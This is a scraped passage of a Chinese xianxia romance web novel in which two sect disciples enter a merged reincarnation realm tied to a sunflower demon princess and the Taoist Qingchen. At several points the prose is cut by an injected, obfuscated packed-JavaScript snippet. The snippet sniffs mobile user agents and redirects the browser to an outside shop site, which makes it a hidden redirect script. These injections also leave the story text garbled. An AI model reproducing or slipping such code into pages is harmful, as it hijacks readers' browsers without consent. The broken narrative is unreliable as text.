黎暨本着找崔惊厄一块热闹而来,不料崔惊厄被卢笑绒扣下不说,原先的同伴舒扬舟也跟着师妹跑了。 他生无可恋,控诉了其余几人好一会儿,这才往剩的最后一个秘境走去。 还算走运,这个秘境没有设置最低人数,他至少不用再等其他弟子来。 灵力注入飞来石,即可进入秘境。 舒扬舟在飞来石前站定,双臂环胸回头睨她,谢扶光认得那眼神,是要与她秘境中一争高低的跃跃欲试。 按道理,她应当扬着下巴,回以一记冷眼,快步迎上。 可她忽然就顿了步子。 想不通出于什么,她就这么转过头,就这么正对上十余步之遥崔惊厄的眼,就这么冒出一个荒唐念头:那双眼仿佛已等了她很久。 “崔惊厄。” 心尖轻轻一跳,她就这么唤出声。 万里悲丘的清晨静谧非常,浓雾罩着太阳,映得黄沙都泛起湿漉漉的凉。 他们一朝聚一朝散,如骤雨一闪。 天气晴好,人走茶冷,故事也多半没了下文。 谢扶光眉眼恹然半垂,这会儿恍然惊觉,刨去先前的“病秧子”、“大神棍”、“大骗子”……她还是第一次正经念他的名。 “怎么了,大小姐?”似乎觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诚然,刀道之巅高不可测,而彼时春光正好,她时值年少,恰是相信来日方长的年岁,自信给她几年时间,凭她的天资,定能攀上那山外山。 而就在刚刚,从崔惊厄转身后的挥手里,她读出了同样一份不急。 忘了哪一次下山,途经哪一间茶馆。 街道恰好拥挤,让她迈不开步;茶馆门帘也恰好半开,泻出只字片语。 不知在说哪段戏文,说书人的声音穿越记忆而来,像蒙着层雾气,竟恍惚与崔惊厄的重合。 “……总有那么个人,你看他第一眼,就知道你们之间故事还没完……” 没有前因,也无后果,她只记住了这样一句。 当年的谢扶光曾穿过那半卷纱帘,看进去一眼。 当时的太阳太烈,她与那说书人相隔一段日光、几米石街,模糊了两张脸。 她收回视线,咀嚼着那句“故事还没完”,漠然穿越裂开条缝隙的人群…… 那时日光,恰如今日。 挪动步子,她站定在飞来石前。 灵力滴入,众人身影瞬间消失。 他们不知道,在这一霎,三个秘境皆发生了变化: 两条红线分别探出崔惊厄和谢扶光的秘境,疯狂生长延伸,直至相交缠绕。由红线牵引,两个秘境竟一点点靠近,最终融合为一。 与此同时,黎暨进入的秘境兀地闪烁起绿光,绿光浮动间,这最后的秘境也借着另两个秘境移动的劲力,飞蛾扑火般融入进去,与之合为一体的瞬间,绿光一滞,紧接着两个黑影交替一闪,像什么被替换掉了。 25.朱颜故 新秘境大概专克谢扶光,刚进入其中,她就生了场大病。 浑身高热,双颊烧得酡红,四肢酸软无力,尤其左腕,从内往外溢着疼,像要断掉一样。 谢扶光惦记任务,拼命想睁眼,却无论如何都醒不过来,诡谲梦境接踵而至,梦中布满大团大团的黑雾,偶有鲜红从某处绽开,只知不祥,不解何意,抽象得可以。 舒扬舟倒浑身康健,顶着一张冷脸,不眠不休看顾她整整三日,总算等到大小姐的眼皮动了一动。 这日福双至。 与谢扶光醒转相伴而来的,还有一个好消息。 也可以说,她就是被这个“好消息”笑醒的。 “恭贺主上喜得贵女!”一排侍女欣喜的声音响在空旷大殿,碰撞石壁后,激起缠缠绵绵的回音。 舒扬舟幽怨的眼对上谢扶光微扬的唇,一拂袖,掀起重重一道风声。 英年未婚喜当爹,他真是高兴死了呢。 谢扶光这场病闹得和崔惊厄的手疼一样邪门。 病中多吓人,痊愈得就多迅速,刚从半死不活中睁眼,体力就恢复到了能耍一上午大刀的水平。 “恭喜啊,师兄。”挥退婢女后,谢扶光活动筋骨,颠着乐命噙笑揶揄“这怎么回事?我睡了多久?” “同喜,”舒扬舟整了整衣襟,不疾不徐,“你有新妹妹了。” 舒扬舟以快剑闻名,绝非慢性子,但吊人胃口时,往往又表现出极强的耐心,只回复她最初那句风凉话,正事半句不提。 闻言,谢扶光原本翘着的嘴角霎时向下一撇。 已知:她的“妹妹”是舒扬舟的“女儿”, 那么……在这秘境里舒扬舟是她的爹! 谢扶光暗自磨了磨牙,挤出一句:“出去后,这里的事我会如实向盟主禀报。” 盟主,即谢白扇,又即谢扶光真正的爹。 舒扬舟轻啧一声:“多大的人,还学小孩子家告状。” 唇枪舌棒掐这一通,两人其实都有点惊奇。 按道理,原本不熟的人经过一定时间磨合后,才会原形毕露。 他们倒好,素昧平生二十年,一朝掐起架来,熟稔得令人头疼。 再互相伤害下去讨不到好,舒扬舟切回正经脸。 “你昏睡了整整三日,孤请巫医来瞧过,内伤外伤都没有,他们围着你跳了两次大神也不见好,不知是中了什么邪术,还是做梦魇着了。” 他一句话又是“孤”,又是“巫医”。 谢扶光边听,两只明澈的眼珠边打量当下所处的宫殿。 此处宏伟中透着诡异,装饰全走暗黑风,四面八方却辟出许多扇窗,无一处有帘遮挡,主人应是贪光。 窗棂漆柱上雕刻着许多葵花形暗纹,舒扬舟那颗庄重的脑袋上还顶了个欢脱的小葵花金冠…… 他向来很要脸,这样打扮应是在完成某种扮演。 “我们这是进了……轮回境?”谢扶光眉心抽了抽。 “自己看吧。”舒扬舟长袖一挥,灵力将一块石头推向半空,是他们在秘境入口所见的那块飞来石。 空中熟悉的金字浮现: 【此境为葵花妖朱颜故的轮回境。 解其执念即可通关,不限时,但仅有三次轮回机会。】 万里悲丘的一千秘境中,最多的是试炼境,足占890个,谢扶光上一场通关的器墓迷阵就属于试炼境。 此外,另有100轮回境,和10个投影境。 轮回境的主人都是些执念深重的鬼魂,他们不愿抱憾投胎转世,将魂魄锁进万里悲丘,不断循环生前经历,直至某场试炼中某个选中此境的弟子介入,改变命运原本的轨迹,将他们的执念化解。 说白了,就是蠢。 从来没什么执念的谢扶光如是想道。 轮回境中的命运轨迹改变了又如何?终究是梦幻泡影,真实的一生早已蹉跎尽了,何苦多年滞留于苦涩的梦中?不如早过奈何桥,孟婆汤一喝,将旧风尘忘个干净。 犹记二十年前,万里悲丘试炼场初开,轮回境只有三十一个。时至今日,数量不减反增,执念深重者年年增多,却从没听说有谁被化解。 “哦对,还忘了恭喜你另一件事。”舒扬舟不怀好意地扬着眉梢,淡薄唇角勾起个瞧热闹的弧度,“你在这儿还有个小情人。” 随他话音落下,空中金字变换。 【现公布弟子身份: 渡业山舒扬舟,性别男,身份为此境主人朱颜故的生父,葵花妖族王上; 渡业山谢扶光,性别女,身份为此境主人朱颜故的胞姐,葵花妖族大公主。 另,葵花妖族大公主与明镜台掌门座下三弟子之间,曾牵过一条红线。】 轮回境相较普通试炼境,最为特殊之处,便是进入其中的弟子会拥有与轮回境主人相关的身份,可能是父母亲人,也可能是同门师友。 谢扶光不知金字在两人身份之后,为何还要狗尾续貂上最后一行,而且还只写了她一个。 舒扬舟光皇子公主就生了一群,足见老婆更多,就因为数量不易统计,就不写了么? 她权当这一句是在放屁,舒扬舟倒饶有兴致地又点评一句:“明镜台出情种,师妹如此铁石心肠,可别伤了人家。” 这回谢扶光没跟他呛,她忽的想起一个人来。 轻尘道长——器墓迷阵中她用的那“日现暝昏”符咒的创造者,他就师从明镜台。 “师兄,你听没听过明镜台的轻尘道长?”她问。 舒扬舟点头。 谢扶光通晓世间事大多经由书本正史,他则是常年走南闯北,听闻的风月轶事偏多。 这么一琢磨,还真品出几分不对劲。 “据我所知,让轻尘发了疯的那名妖界女子好像就是个葵花妖。” 与此同时,空中金字又是一变。 【第一次轮回之初,仅可显示轮回境主人的部分生平: 早年生活、重大事件、最终结局,尔等可自行选择看哪一样。】 “结局?”谢扶光和崔惊厄互视一眼,异口同声。 他们师兄妹都是一言不合就动手的人,这时候脑回路相当默契:朱颜故执念深重至此,定是有什么仇没报! 既是报仇,那么过程都是浮云,知道她最后被谁所杀,把仇人噶了一了百了,压根不用为了解其生平动脑筋。 然而金字为他们狠狠撒了盆狗血。 【朱颜故最终结局为:如愿死于爱人轻尘剑下。】 谢扶光:…… 直至空中金字消散,飞来石重回舒扬舟手中,她仍两眼望着前方放空。 突然就有点想摆烂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976648|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千挑万选,选出这么个秘境,做好了准备提刀大杀一场,哪知金字一出,又是“如愿”,又是“爱人”,全是些爱来爱去、剪不断理还乱的肉麻情事。 她是真不擅长。 舒扬舟脸色也没有比她好看多少,但因为王者包袱在身,表情勉强还撑得住。 “怎么着?跟我回渡业山?”他一把扯下头顶那拉风的葵花冠,用实际行动展示撂挑子的心,见谢扶光不答话,又惯性嘴欠:“还是你舍不得,想先去趟明镜台,瞧一眼和你牵红线那火辣辣的纯情道长?” 谢扶光:…… 真稀奇,不过跟他短暂独处一炷香时间,翻白眼的能力就无师自通了。 “师兄,别忘了,阴玉钥不对劲,我们既已进入秘境,就没法贸然出去。”驿站中卢笑绒已将圆脸兄他们的遭遇悉数告知舒、黎两人,“只有通关一条路可走。” “所以,我们是照旧杀了轻尘,还是撮合他们在一起?”谢扶光非常头疼。 结局里说,朱颜故是如愿死在轻尘剑下,显然没拿他当仇人,被他杀死不是她久久不能平复的执念。 那么她真正的执念又是什么? 没能和轻尘在一起? 舒扬舟垂下眼睫,理了理扯葵花冠时弄乱的头发:“真没想到,我居然也有沦为红娘的一天。” 两人相对无言,各自烦躁。 不多时,门前惊鸟铃一动,两名婢女一齐走进,年轻些的那个先款款行了一礼,笑得很吉祥:“王上,王后请您为新生的小公主赐名。” 有什么好赐的? 身在她的轮回境,他还能不知她叫朱颜故么? 舒扬舟提笔,遵循流程毫无感情地在宣纸落下那三字。 谢扶光瞧热闹正瞧得尽兴,不留神另一位上了岁数的嬷嬷已朝她伸来了魔爪:“王上,奴婢该抱大公主回去喂奶了。” 谢·大公主·扶光:!!! 她再次认真审视自己,确信没有变成奶娃。 一眨眼功夫,健壮的女仆已双手抱起谢扶光,托她起来时还亲昵地拍了一下她的小屁股。 谢扶光瞳孔地震的同时,大脑也没忘记思考。 他们进入轮回境用的都是本体,但在境中土著的眼中,却是角色本身的样子。 舒扬舟嘴角抽搐,转瞬间近乎将小半辈子的伤心事全想了一遍,勉力维系住王上威仪。 “别看笑话了,我昏迷时你研究明白没有?应该有加速时间流逝法子吧?”擦肩而过时,谢扶光低声问。 舒扬舟这才悠然摊开掌心,关窍依旧在那枚飞来石。 谢扶光眼尖瞥见,飞来石侧边的隐蔽位置,多出一个象牙白色凸起,凸起小巧精致,近乎与飞来石融为一体。 舒扬舟食指轻按下去。 周遭景物飞速变幻,身边闪过一批又一批的人。 两人皆头晕目眩,靠意志撑着没吐。 变动停下时,已是十六年后。 “怎么这就停了?”谢扶光觉得时间线还可以往后再推一点。 “十六岁,少女情窦初开的年纪,要撮合他们,这是最佳的时间。再过几年,感情就掺杂利益了。”比她还多寡两年的舒扬舟说得头头是道。 “十六岁就开始发春了么?”谢扶光毫无体验,严重不解,用词也颇有辱斯文。 26.老熟人 “风月事,这些年我见得多,你得信我。”舒扬舟眼露骄矜。 谢扶光将信将疑看他一眼,终究不知者不妄议,没再与他争。 但她仍觉不太得劲。 “我实在不想撮合他们,”钢铁般的谢扶光大胆提议,“捅刀子这种是畸形的爱恋,不如从现在起教育朱颜故,斩断她错误的情根。” 轮回境有舆图指引境主人的位置。 谢扶光不是多话的人,那股晕劲儿散去,第一时间摸到了朱颜故的住处。 朱颜故的屋门紧闭,谢扶光随手扯了个婢女问:“二公主可在房中?” 婢女轻叹一声:“在,她又在做那些事了,大殿下,二殿下素与您亲近,您快帮着劝劝吧,王上因为二殿下,愁得头发都脱一半了。” 很好,自喜当爹之后,舒扬舟还“秃顶”了。 联系金字给出的结局,谢扶光觉得这位二公主定是个顶级恋爱脑,这会儿一个人缩在房间,偷感十足,不知在做什么令葵花妖全族蒙羞的龌龊春梦。 于是,谢大小姐带着引怀春少女回归正道的使命,朝那石质房门踹了正义凛然的一脚。 她不清楚,这里的石门需旋转开启,贸然用脚一踹,打开方式不对。她有灵力护体,脚倒是没事,可石门应声而倒,轰然碎成几块。 门口婢女看得一呆,很是后悔方才嚼舌根。 她真是没想到,平生所好唯有美食和美男的大殿下,竟有如此神力。 与谢扶光想象中大不相同,朱颜故的屋内相当简朴,一张床,一套桌椅,都是最寻常样式,毫无女子们时兴的花哨装饰。 她进去时,二公主一袭红衣,正盘坐榻上背对着她运气。 适才那婢女遮遮掩掩,引人想入非非,结果朱颜故……竟是在修炼? 谢扶光眼皮压了压,更仔细观察一番,又发现几分意外之处:朱颜故的气息里,除去妖气,还有一缕仙气穿梭其间,不容忽略。 这位二公主比她想象中更有意思一些,起码第一眼就给了她惊喜。 石门炸开的轰然巨响没让朱颜故分神,她将最后一股真气收归体内,有条不紊,继而轻盈起身,回眸眺来。 红唇轻启,冷淡的女中音入耳:“着什么急,我既答应了陪你去看那小道君,就必不会食言。奉劝你一句,心思还是多放在自己身上,没人会喜欢一个只知围着自己转的附庸。” 谢扶光:…… 她台词被抢了。 她来得虽仓促,却是认真做了准备的。 过来前,她还向自诩“见多了风月事“的舒扬舟请教了话术。 当时舒扬舟老神在在一思索,当即蹦出数句箴言: “情海无边,回头是岸”; “姐妹如手足,男人如衣服”; “流水的情人,铁打的自己,自强才是王道” …… 这会儿每个字都扇回了她自己脸上。 夺冒昧啊,这个故事里,她才是那个恋爱脑! 朱颜故那边犹在继续:“我再提醒你一次,赦罪大典是明镜台的重要活动,你见到那小道君后,记得控制你的行为,别闹笑话,毕竟我们此去不是正大光明受邀。” “不是正大光明”…… 淦,参加个大典说得像偷腥一样。 谢扶光才不想见什么小道君,正要回绝,一个念头打了个转,到嘴边的话终究咽了回去。 金字既提到了明镜台那位三弟子,定有其用意,通关秘境,或许有用到此人的地方。 此外,她也想见一见轻尘。 先前打算了那么多,无论撮合他们还是帮朱颜故规避这段情,说到底都是她和舒扬舟的意愿。 而这是朱颜故的轮回境。 方才这一面,她相信朱颜故不是会在感情中迷失自我的人,他们不宜再以救世主的姿态插手其命运轨迹。 爱不爱的,让她自己决定吧。 感情烦人得很! “明镜台不比凡人界,我们怎么进去?” 妖魔两族与人族之间有结界。 为妖者,通过一些诡市上流通的小玩意儿,混入没有修为傍身的凡人之间尚不算难事,但入修真界就不那么容易了。 一来修真界阳气炽盛,对妖魔等邪物有着天然的损害;二来,修真界中能人辈出,而妖魔邪气外溢,很容易被感知。 “放心,我这些年的道不是白修的。”朱颜故看着谢扶光,嘴张了张,又闭上了,大概觉得跟她说是对牛弹琴,“反正你就等着吧。” 葵花妖族有别于其他妖魔,因喜日光,洞府设在地上,这会儿外头夜幕沉沉,繁星点缀了窗洞,月光如绸缎曝下,映出谢扶光一条笔直的影。 她在等,等天光一点点亮起。 明日即是七月半,中元节,明镜台将举行一年一度的赦罪大典。 传闻轻尘就是在某一年的赦罪大典上发了疯,而后不知所踪。 同样是赦罪大典,她总觉得明日或许会发生点什么。 朱颜故定是惯犯,她带谢扶光溜出葵花宫,通过妖魔族与人族间的结界时相当轻车熟路。 她没着急上明镜台,先去醉生梦死楼沽了两坛烈酒,小二热情招呼,与她相当熟稔。 谢扶光:呵,还是个酒鬼。 明镜台建于鹧鸪山顶。 山脚下,朱颜故抛给谢扶光一颗丹药,此药乌漆嘛黑,且奇形怪状,是谢大小姐从未见过的丑陋,但见朱颜故自己也吞了一枚,她便跟着咽了下去。 “放心吧没问题,去瞧瞧明镜台的热闹!”朱颜故自信非常。 她说着瞧热闹,却没往举行大典的清虚殿方向走,而是寻到一处幽秘竹林。翠竹清幽,犹挂晨露,林后是汪冷泉,泉寒刺骨,但养经脉,于修道有大益处。 天朗日和,清风温煦,朱颜故褪去外衣入水,纤薄脊骨浸入冷泉,不抖不颤,眼观八方景,嘴里一口一口灌着烈酒,惬意非常。 “你怎么还不走?”察觉谢扶光一直看她,朱颜故斜眼过来问。 “你刚给我吃的什么?”谢扶光仔细体味过,周身当真没了妖气,朱颜故身上也没有。 “稀奇吧,”朱颜故沽的酒叫西风烈,几口下去,双眼已泛潮色,“我体内有两股气,一股仙气一股妖气,前些日子玩了玩炼丹,意外发现因我体质特殊,可以炼制转换气息的丹药,在合适场合完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秘境入口处清清楚楚写了,仅限两人进入,虚空中金字也没提崔惊厄,他是不可能在这儿的。 出于某种幽微的心理,她不太愿意看到另一张脸顶着崔惊厄的名,索性眼不见为净。 哪知那位惊厄师兄紧接着开口:“啊啊啊……什么什么?” 啧,声音也怪像的。 “惊厄师兄,你看什么呢,这么入神?跟你说话都没听清。”小弟子又问。 “嗐,没什么,一时眼花,瞧见个眼熟背影,差点以为见鬼了……” 他话音未落,就见前头的“鬼”缓慢转过身,幽幽朝他望来。 崔惊厄:…… 谢扶光:…… 一息,两息,三息…… 没有一个人开口,但沉默震耳欲聋。 小弟子见气氛不太对,夹着尾巴光速逃走。 徒留这对旧相识相对而立,神色古怪。 “哟,这是哪家画皮鬼?”崔惊厄噙着笑,开口就是句找补,“品味真绝,画了我家大小姐这么完美的一张皮。” 原本谢扶光还动过念头,想眼前这人会不会只是跟崔惊厄长得一样,他一开口,登时就没了别的可能。 “油嘴滑舌……” 也只有他了。 “今日真是大喜的日子,”崔惊厄愉快地眨眨眼,“他境遇故知呢。” 谢扶光没搭理他的嘴炮,把他从上到下扫量一遍,见他身着明镜台的弟子服,还是品阶最高的亲传弟子,当即问道:“你可认得明镜台掌门的亲传三弟子?” 27.扑朔事 “掌门他老人家的亲传三弟子啊……”崔惊厄似乎在思考,抿唇沉吟着负手走近两步,半弯下腰,从下方抬眼觑谢扶光的脸,“大小姐找他干什么呢?” 谢扶光第一次被这样盯着看。 她愣了一愣,也是这时才发现,他生了副很勾人的瞳孔。 “没什么,就是问问。”莫名,对着崔惊厄,谢扶光尤其不愿提那条红线,“你只管说认不认得。” “唔,想起来了。”崔惊厄装模作样地恍然,“巧了不是,我好像就是那位三弟子。” “你?!” 谢扶光一双狭长凤眼瞪得微圆,心脏扑通扑通,每蹦跶一下,都在暗叫一句见鬼。 “是啊,”崔惊厄确认,“我,三弟子本三,如假包换。” 谢扶光消化掉这一离谱事实,品着品着,竟觉出几分合理:“难怪……” 难怪金字要缀上最后一句看似没用的话,许是在提示他们,崔惊厄也在秘境中? “只你一个人么?”谢扶光追问,“卢笑绒呢?” “我没见她,”崔惊厄神色间的悠然淡去三分,“但这几日,我一直同黎兄待在一处。” “黎暨?他怎么也在?” 当初选秘境真是选了个寂寞,进来后一切都乱了套了。 “不知,”崔惊厄耸肩,“我一睁眼他就在,只是身居高位,盯他的人太多,可能不太方便见你。” 谢扶光在心里将黎暨搞笑的五官抻平捋直,摆出副德高望重的表情,得出结论:比舒扬舟瞧着还诡异。 “我和我师兄在一处,既然我们四个都在这里,想必是秘境又出了什么乱子,卢笑绒或许也在,我们可以找找看。”谢扶光分析。 崔惊厄点头,随后与她交流线索:“对了,大小姐,你们进入秘境后,飞来石有亮过么?” “它给了我们三个选择,可知晓秘境主人的不同经历,我跟师兄查看了朱颜故的最终结局。” 崔惊厄剑眉轻蹙,像觉得哪儿不对劲,但没有打断。 “金字显示,朱颜故最终如愿死在了轻尘剑下。”既提到轻尘,她索性问,“你在明镜台待了三日,可与轻尘接触过?他是个什么样的人?若他品性不佳,不如我就干脆杀了他,碰碰运气,万一朱颜故后悔了,执念就是杀他报仇呢?” “轻尘不能杀。”崔惊厄忙制止她危险的想法。 “怎么?” 周围不断有人经过,偶有视线投向他们。 “这儿不是说话的地方,”崔惊厄把她拽到夹道旁的假山后,这才开口:“大小姐,局势比想象中复杂,咱们来一条条捋啊。” “首先呢,轻尘肯定不能杀。” 想到初见崔惊厄的黄昏,他膏药一样黏上来的自来熟,谢扶光不由问:“这才三天,你不会跟他处出了师兄弟感情吧?” 崔惊厄轻啧一声:“之前怎么没发现,我们大小姐想象力这么丰富,已经到能上天的高度了。” 谢扶光乐命一抬,不待敲上他肩头,已被轻车熟路躲过。 “行行好,待我温柔点,我右手整疼了三天,昨夜才好呢。”崔惊厄半真半假讨了句饶,切回正事,“我说轻尘不能杀,是因为我跟黎暨入的是他的轮回境。” “我猜测,或许因着轻尘和朱颜故的紧密联系,秘境可能发生融合。” 确实有这个可能,但依然无法解释卢笑绒的消失和黎暨的出现。 谢扶光心下对这个猜测予以认可,嘴上问的是:“为什么疼?” “什么?”她话跳得太快,崔惊厄一时没反应过来。 “你说你右腕疼了三天,怎么一回事?”谢扶光问,“你又用了右手剑?” “这可不敢!”崔惊厄摆手,“大小姐特地嘱咐过的,我哪敢犯?” 他笑得吊儿郎当:“刚刚怕挨打,我瞎说的。” 他薄薄的眼皮半垂,突然就后悔说了这样一句,大小姐比他想象中要关心他。 “刚刚就该狠狠揍你。” 谢扶光这样说,却没真动手。 她更倾向于崔惊厄后头这句是假的。 她初入秘境不也病了三天,他们两人在秘境中的身份由红线相连,很可能他也没落着好。 但她不是喜欢把病疼挂在嘴边的人,连崔惊厄都没说,她自然也不会提,此事便这样翻篇了。 “至于你问我的轻尘,他性情孤冷,只爱练剑,我与他没什么接触,”崔惊厄接着说,“但我查看了有关他的重要事件。” “大小姐听没听过十年前轻尘在赦罪大典上发疯的传闻?” 谢扶光点头。 坏事传千里,此事远比他那些功绩流传更广。 “那都是瞎说的。”崔惊厄替轻尘正名,“所谓‘发疯’,是因为他在那场大典上生受了八十八重鞭……为朱颜故赎罪。” “大小姐可与朱颜故接触过?她犯过什么罪么?” 谢扶光摇头:“我与她相交很浅,只知她不像恶妖。若实在要挑点毛病,顶多不太守规矩就是了。” 彼时当事人还鸠占鹊巢,优哉游哉泡着冷泉,得这么个形容不算辱没她。 两人越盘越觉得乱,两个秘境融合得乱七八糟,双方各执一词,严重对不上,一切都扑朔迷离。 “再等等吧,说不定哪天卢笑绒就闻着味儿来找我们了,没准她那儿还有其他线索呢?”崔惊厄向来忧虑不过五秒,暂且将这团乱麻搁置,问道,“大小姐如今在哪个宗门?受邀名册里我没见到你的名字。” 他们的真实容貌和姓名在轮回境中得以保留,轮回境会自行修正其余人对他们的认知。 “哦,忘了说,”谢扶光刻意淡然,“我现在是只葵花妖,是朱颜故的大姐。” “葵花妖族大公主?”崔惊厄闻言挑眉,轻笑一声喟叹道,“啊……是你啊。” 谢扶光冷冰冰“嗯”了一声,突然就觉得假山后的空气闷热起来,再对上崔惊厄的视线也有了点别扭,假身份之间牵的这条红线,仿佛把他们也变得不太一样了。 假山后的空间不大,崔惊厄距她算近,衣饰繁复,衣襟来回蹭着衣襟。 崔惊厄顺着她下意识的视线,显然也有所察觉,默默向后退了半步,莫名觉出种欲盖弥彰感。 “那个……”得说点什么,他刚想就她如何收敛妖气问上一问,却见大小姐顶着张淡定脸,一个滑步歘地从假山后跳出,回归了大道。 崔惊厄舔了下发干的嘴唇,不远不近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朱颜故喝了不少酒,反应却不慢,步伐看似染着醉意,实则乱中有序章法未失,她纤腰后弯避开剑芒,辅以灵动步伐,悠然擦过轻尘一串剑招,打得过瘾,发出阴铃般的笑。 轻尘:…… 妖女,绝对是妖女! 朱颜故还真不是故意的。 她看似打得游刃有余,实则全倚仗多年苦修出来的肌肉记忆,她人在前面打,脑子远落在后头穷追不舍。 脑子勉强能动是在接连避过十几招后,她躲腻了,反守为攻,梦离箫横在嘴边,荡魄音汩汩流出。 妖族若修正道,根骨普遍不佳,但她不欲入邪门,于是选择修习要求相对低的音律。梦离箫一动,每一个音都裹着重重杀机,打斗时灵气妖气难以自如转换,混杂成一团,织成一张缭乱大网,罩向轻尘,而最后一个音却走了个风骚的调,攻势大大削弱。 朱颜故意外没再续上,甚至步子也停了,整个人突然立在原地,不再动作,莫名其妙就休了战。 轻尘险伶伶收回子虚剑锋,挥洒出的剑气却如覆水,直掀得朱颜故纤影一颤,她本就醉,又酣打了一架,这会儿晃晃悠悠就要倒地。 轻尘在电光火石间做出艰难抉择,最终还是伸臂接住了她。 朱颜故后脊贴着他结实小臂,纤长眼睫眨掉上涌的酒气。 轻尘的面容就这样住进她迷离醉眼,成就了她今日难得的一瞬清明。 28.绿影、笛音 朱颜故会停下,是因为后知后觉轻尘剑气中涌动的灵力相当熟悉,她立在原地,醉醺醺的脑子努力反应了好一会儿,还是看清人的瞬间,才记起她体内那股灵力与他的像是同源。 见她站稳,轻尘立时收回手,战术后撤了好大一步。 他多年养在深山,活脱脱一个未经人事的小仙男,平日瞥见一角师兄弟们的春宫图册,心下都要大喊一句“我脏了”,脸皮远不比朱颜故的厚。 朱颜故刚出冷泉,潮湿里衣染湿外袍,贴合身体,尽现玲珑曲线,他只扫了一眼,白皙面皮已然泛红,歘一下转身,视线回避,连原本想要盘问的话都忘了。 “如不嫌弃,姑娘先穿上吧。”褪下自己的外衣,轻尘递给朱颜故,全程没有看她。 朱颜故接过披在身上,见眼前的白衣道君仿佛松了口气,弯起眉眼一笑,故意踱到他身前。 褪掉外衣后,轻尘的里衣也很规整,领口直封到脖颈,连块锁骨都没露出来。 “当然不会嫌弃,”朱颜故答着话,缺德的脚往前拉近了与轻尘间的距离,染了红指甲的手扒着他里衣衣领一勾,赞道,“公子很守男德嘛!” 轻尘:!!! 轻尘吓得险些暴跳起来。 “姑娘自重!” “啧,大老爷们儿有什么不能看的,”朱颜故收回作乱的食指,显然很扫兴,“‘自重’这种话都是平日里我劝大姐的,没想到有朝一日竟也落在了我头上。” 清虚殿前,谢扶光鼻子很痒,碍于场合庄重,她凭借坚强的意志,忍下了这个硕大的喷嚏。 清虚殿前有个很大的空场,地面绘有繁复符纹,死角还压着阵旗,中间是道偌大的清虚投影,闪烁耀目金光,堪与日光肩并肩。投影前设蒲团,有悔有愧者可跪坐其上,请求地官宽恕。 眼下蒲团处已排了许多人。 而谢扶光远离人群,在外围树荫下挺拔地站着。 身后传来道口哨声,崔惊厄与相识弟子们简单寒暄过后,重新黏过来:“大小姐干过什么亏心事没?上不上去凑热闹?要不我跟我们掌门说说,让你进清虚殿内,那儿也有个这么大的清虚铜像,是我们明镜台的内部忏悔区,人少不用等,偶尔给前来的达官显贵们用用,他们得交银子,你是跟我一起的,你不用。” “我才不用去!”她又没干过亏心事! 谢扶光昂着脑袋回绝,说完才觉出区区几个字,竟带着堪称活泼的情绪,都有点不像她了。 真是可怕! 她清清嗓子,打算问点别的压下诡异心绪:“你们掌门这么好说话么?你说带人就带人?” “之前好不好说话不清楚,但现在嘛,”崔惊厄卖个关子,“有求必应!等会儿他出来你就知道了。” 两人一左一右站着。 谢扶光立得很规矩,老半天不动一下,比那清虚投影还要稳重; 崔惊厄则每过一息,都恨不得换八个姿势,像只坐立难安的猴。 唯一共同的,是他们都抻长脖子对掌门翘首以盼。 倒并非真多想见他,而是……不知怎么地,那条隐形的红线仿佛牵起了什么东西的开关,原先简单的独处变得很怪。 不算不得劲,就是……手脚挺不知道该怎么放的。 煎熬了约莫半盏茶时间,明镜台“有求必应”的掌门终于姗姗来迟。 谢扶光抬眸看去,震惊之余,还有那么点嫌弃。 但见黎暨端着一副老成持重的神情,风骚地从清虚殿后方踏来,说话前,威严的目光先例行环视一圈,掌门威仪竟真拿捏住了。 谢扶光:…… 又是明镜台掌门,又是葵花妖族王上,这年头,当头儿的都这副德性了么? “幸运吧,有黎兄这么个大宝贝在,整个明镜台都是咱们的人脉。”黎暨出来缓解了那股如有实质的尴尬,崔惊厄活过来,喜气洋洋地说道。 他话音刚落,就见“大宝贝”视线好死不死正晃荡到谢扶光脸上,端庄的虎躯一震,眼珠子险些就瞪出来。 崔惊厄隔着老远给他打手势,提醒他注意身份注意场合,险伶伶稳住了黎暨欢脱的五官。 因这段小插曲,黎暨的开场致辞忘了大半,很快结束。 没有人提出异议。 当你身居高位,你说的多就是才思泉涌,说的少则是大道至简,总归你的位置对了,一切就都对了。 在外潦草走了个过场,黎暨入清虚殿中。 崔惊厄引谢扶光从暗门跟上,自己守在门口放风。 “师妹!”黎暨跟着舒扬舟乱攀亲戚,木门吱呀一响,他屁股上像安了弹簧,登时从座上跃起,“还真是你!舒兄呢?跟你在一块儿没?” “我不宜多留,长话短说,”谢扶光比他淡定得多,“师兄在妖界葵花宫,现在是葵花妖族王上,与你差不多,身居高位,有人盯着。我和师兄入的是朱颜故的轮回境,她与轻尘有些牵扯,我和……崔惊厄怀疑两人的轮回境因此而融合。” 说出崔惊厄名字时,她稍顿一息,有点别扭。 不待黎暨把秘境融合的事绕明白,谢扶光紧跟着问:“你跟卢笑绒怎么回事?” 